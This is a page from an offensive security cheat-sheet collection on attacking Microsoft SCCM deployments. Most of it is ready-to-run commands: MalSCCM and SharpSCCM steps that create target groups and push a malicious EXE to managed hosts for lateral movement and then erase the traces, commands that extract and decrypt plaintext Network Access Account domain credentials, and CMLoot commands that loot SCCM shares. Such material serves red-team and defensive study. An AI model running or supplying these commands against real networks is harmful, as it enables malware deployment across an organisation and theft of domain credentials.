InternalAllTheThings/docs/active-directory/ad-deployment-sccm.md

Deployment - SCCM

Application Deployment

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

• PowerSCCM - PowerShell module to interact with SCCM deployments

• MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage

• Using SharpSCCM

  .\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
  .\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
  .\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug
  

• Compromise client, use locate to find management server

  MalSCCM.exe locate
  

• Enumerate over WMI as an administrator of the Distribution Point

  MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
  

• Compromise management server, use locate to find primary server

• Use inspect on primary server to view who you can target

  MalSCCM.exe inspect /all
  MalSCCM.exe inspect /computers
  MalSCCM.exe inspect /primaryusers
  MalSCCM.exe inspect /groups
  

• Create a new device group for the machines you want to laterally move too

  MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
  MalSCCM.exe inspect /groups
  

• Add your targets into the new group

  MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
  

• Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$

  MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
  MalSCCM.exe inspect /applications
  

• Deploy the application to the target group

  MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
  MalSCCM.exe inspect /deployments
  

• Force the target group to checkin for updates

  MalSCCM.exe checkin /groupname:TargetGroup
  

• Cleanup the application, deployment and group

  MalSCCM.exe app /cleanup /name:demoapp
  MalSCCM.exe group /delete /groupname:TargetGroup
  

Network Access Accounts

If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

On the machine.

• Find SCCM blob

  Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
  NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
  NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
  

• Using GhostPack/SharpDPAPI or Mayyhem/SharpSCCM for SCCM retrieval and decryption

  .\SharpDPAPI.exe SCCM
  .\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
  

• Check ACL for the CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA:

  Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
  ConvertFrom-SddlString ""
  

From a remote machine.

• Using garrettfoster13/sccmhunter

  python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto
  

SCCM Shares

Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

• 1njected/CMLoot

  Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
  Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
  Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi